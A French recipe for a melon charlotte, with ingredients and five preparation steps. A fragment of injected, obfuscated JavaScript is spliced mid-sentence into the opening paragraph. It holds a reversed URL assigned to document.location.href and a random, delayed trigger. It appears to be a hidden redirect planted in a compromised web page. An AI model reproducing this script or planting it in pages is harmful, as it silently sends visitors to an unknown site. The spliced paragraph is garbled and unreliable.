Charlotte au melon
2016-12-29Déposez les feuilles de gélatine dans un récipient d’eau froide pendant 20 minutes. Coupez les melons en deux, ôtez les petites graines, découpez la chair en petits cubes.
Dans une sauteuse avec du beurre et le sucre faites fondre les melons sur feu doux pendant 10 minutes tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant. Incorporez le rhum. Retirez du feu et ajoutez la gélatine, mélangez jusqu’à ce qu’elles soient fondues.
Ingrédients
- Pour 8 personnes
- 7 feuilles de gélatine
- 15 cl de sirop de melon
- 30 cl de crème fleurette bien froide
- 600 g de melon environ soit 2 melons biens mûrs
- 125 g de sucre en poudre
- 4 cuillères à soupe de rhum
- 2 cuillères à soupe d'eau froide
- 3 jaunes d'œufs
- 24 biscuits à la cuillère
- 40 g de beurre
Préparation de la recette
Etape 1
Déposez les feuilles de gélatine dans un récipient d'eau froide pendant 20 minutes. Coupez les melons en deux, ôtez les petites graines, découpez la chair en petits cubes.
Etape 2
Dans une sauteuse avec du beurre et le sucre faites fondre les melons sur feu doux pendant 10 minutes tout en remuant. Incorporez le rhum. Retirez du feu et ajoutez la gélatine, mélangez jusqu'à ce qu'elles soient fondues.
Etape 3
Mixez afin d'obtenir une purée. Dans un récipient mélangez les jaunes d'œufs avec le sucre en poudre jusqu'à obtenir un mélange blanchâtre et mousseux, incorporez peu à peu dans la compote de melon. Laissez refroidir complètement.
Etape 4
Fouettez la crème fraiche. L' incorporez dans la compote. Versez dans le moule à charlotte. . Recouvrez de biscuits que vous aurez tremper rapidement dans le mélange sirop de melon / rhum / 2 cuillères à soupe d'eau froide / en alternant biscuits / compote. Terminez par une couche de biscuits.
Etape 5
Filmez. Réservez au réfrigérateur pendant 4 heures. Démoulez la charlotte en retournant le moule sur un plat. Décorez avec des fines lamelles de melon où quelques fruits confits couper en petits dés.
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